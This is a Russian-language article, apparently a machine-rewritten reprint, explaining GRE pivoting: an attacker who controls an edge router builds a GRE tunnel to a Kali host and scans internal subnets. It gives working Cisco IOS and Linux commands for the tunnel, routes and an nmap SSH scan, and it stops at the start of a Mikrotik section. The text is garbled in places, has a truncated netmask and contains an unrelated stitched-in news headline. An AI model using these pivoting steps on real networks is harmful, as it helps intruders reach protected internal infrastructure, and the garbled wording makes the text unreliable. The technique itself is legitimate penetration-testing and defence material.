Поворотный район. Как GRE Pivoting работает поверх сетевого оборудования

При настройке мер безопасности сетевое оборудование часто остается без присмотра администраторов, что повышает вероятность взлома и получения контроля над такими устройствами. Что делать, если злоумышленник уже получил контроль над пограничным оборудованием? Сможет ли он подобраться к внутренней инфраструктуре?

Пивотирование (от англ. pivoting, а не от слова «пиво») — это набор техник, позволяющих получить доступ к внутренним ресурсам, обойти сетевую изоляцию, средства сетевой защиты и брандмауэр. Довольно много было сказано о повороте через традиционные сервисы, такие как SSH, OVPN и другие. Тем не менее, в своем исследовании я продемонстрирую нетрадиционные методы обхода граничного сетевого оборудования с использованием протокола GRE.

GRE

GRE (Generic Routing Encapsulation) — это протокол инкапсуляции сетевых пакетов IP, разработанный инженерами Cisco. В производстве он приобрел большую популярность, так как решает проблемы создания каналов VPN для организаций. GRE инкапсулирует непосредственно в IP-пакет и обходит транспортный уровень. Кстати, в контексте IP-пакета у GRE есть свой числовой идентификатор — 47. На самом деле GRE не обеспечивает защиты туннелируемых данных. Поэтому в продакшене обычно скрещивают GRE и IPSec для обеспечения безопасности данных. В этой статье я совсем немного расскажу о GRE, чтобы вы поняли, зачем он нам нужен.

Простой пример туннеля GRE

Туннелирование GRE здесь включает три объекта:

  • раздаточная головка. Представляет IP-пакет с общедоступными адресами источника/назначения. Благодаря ему инкапсулированный пакет сможет добраться до адресата в Интернете. Размер 20 байт;
  • пакет ГРЭ. Размер 4 байта;
  • пассажир. Это полезная нагрузка, трафик, генерируемый законными сервисами.
Руководители службы GRE
Служебные заголовки GRE
Структура версий GRE 0
Структура GRE версии 0

GRE имеет две версии — 0 и 1. На изображении выше показана структура нулевой версии протокола GRE. Это то, что обычно используется. Как видите, большинство заголовков здесь необязательны, то есть хранящиеся там значения не всегда есть и появляются только в определенных сценариях. GRE также имеет идентификатор протокола инкапсуляции в заголовке Protocol Type. У каждого протокола есть свой идентификатор: например, для пакета IPv4 этот идентификатор 0x0800.

Идентификатор пакета IPv4 в заголовке GRE
Идентификатор пакета IPv4 внутри заголовка GRE.

READ  Минобороны показало, как российский танк уничтожил украинский

Лабораторная сеть

Сеть, показанная на схеме, будет выполнять роль лабораторной стойки.

Топология лабораторной сети
Топология лабораторной сети

Это типичная корпоративная сеть с тремя уровнями (доступ, распределение и ядро). Протокол OSPF используется в качестве динамической маршрутизации, а HSRP — для обеспечения отказоустойчивости для доступности шлюза. У нас есть четыре коммутатора уровня доступа и четыре VLAN со своей адресацией. Также подключается отдельный коммутатор уровня распределения, за которым следует сетевой 192.168.20.0/24.

Edge Router будет Cisco CSR и Mikrotik CHR v. 6.49.6.

Со стороны атаки машина с Kali Linux и общедоступным IP-адресом является примером атаки из Интернета. Предположим, что злоумышленник каким-то образом получил доступ к панели управления пограничного маршрутизатора, так как мы хотим продемонстрировать поворот, который, как известно, является одним из шагов при постэксплуатации.

L3 GRE VPN поверх Cisco IOS

Продемонстрирую небольшой пример организации туннеля L3 во внутреннюю сеть, которая находится за самим пограничным маршрутизатором. В целом принципы настройки GRE не отличаются у всех производителей сетевого оборудования, вопрос только в различном синтаксисе. Во-первых, давайте посмотрим, как настроить Cisco.

Конфигурация GRE в Cisco IOS включает следующее:

  • создание логического интерфейса;
  • указание режима, в котором будет работать туннель (GRE);
  • назначить адрес интерфейсу (здесь мы берем адреса 172.16.0.1 для Кали и 172.16.0.2 для Cisco CSR);
  • адрес адрес источник 212.100.144.100;
  • задание адрес нашания 100.132.55.100.

EdgeGW(config)# interface tunnel 1

EdgeGW(config-if)# tunnel mode gre ip

EdgeGW(config-if)# ip address 172.16.0.2 255.255.255.

EdgeGW(config-if)# tunnel source 212.100.144.100

EdgeGW(config-if)# tunnel destination 100.132.55.100

Теперь пришло время для другой стороны туннеля GRE. В нашем случае этой «второй стороной» будет хост злоумышленника. Linux отлично поддерживает GRE с необходимым модулем ядра ip_gre. И это почти везде.

Вот шаги:

  • импорт основных модулей;
  • создание логического интерфейса с указанием типа, адресов источника и назначения;
  • адрес выделения логического интерфейса;
  • включение интерфейса.

[email protected]:~$ sudo modprobe ip_gre

[email protected]:~$ sudo ip link add name evilgre type gre local 100.132.55.100 remote 212.100.144.100

[email protected]:~$ sudo ip addr add 172.16.0.1/24 dev evilgre

[email protected]:~$ sudo ip link set evilgre up

Проверим работу туннеля через пинг до интерфейса туннеля Cisco CSR.

Пингуйте злоумышленника на другую сторону туннеля
Пингуйте злоумышленника на другую сторону туннеля
Пинг от Cisco CSR
Пинг от Cisco CSR

Посмотрим на таблицу маршрутизации, добавим несколько маршрутов в подсети для проверки доступности.

Таблица маршрутизации пограничного маршрутизатора Cisco CSR
Таблика разручизации пограничного маршрутизатора Cisco CSR

Прописываем маршруты к целевым подсетям. Адрес шлюза в этом случае будет адресом логического GRE-интерфейса маршрутизатора Cisco CSR — 172.16.0.2.

[email protected]:~$ sudo route add -net 10.10.50.0 netmask 255.255.255.0 gw 172.16.0.2

[email protected]:~$ sudo route add -net 10.10.110.0 netmask 255.255.255.0 gw 172.16.0.2

[email protected]:~$ sudo route add -net 10.10.140.0 netmask 255.255.255.0 gw 172.16.0.2

[email protected]:~$ sudo route add -net 10.10.210.0 netmask 255.255.255.0 gw 172.16.0.2

[email protected]:~$ sudo route add -net 192.168.20.0 netmask 255.255.255.0 gw 172.16.0.2

[email protected]:~$ sudo nmap -n -p 22 -iL targets -oA result

Результаты SSH-сканирования внутренней инфраструктуры
Результаты сканирования внутренней инфраструктуры SSH

Вот как будет выглядеть инкапсулированный пакет, если злоумышленник взаимодействует с внутренней сетью (например, ICMP с внутренней подсетью назначения 192.168.20.0/24).

L3 GRE VPN поверх RouterOS

Сейчас я продемонстрирую пример оборудования Mikrotik. Это абсолютно те же принципы настройки, разница только в синтаксисе и иерархии расположения устройств (интерфейсы, IP-адресация и так далее).

Информация

Вот команды, характерные для RouterOS v. 6.

Source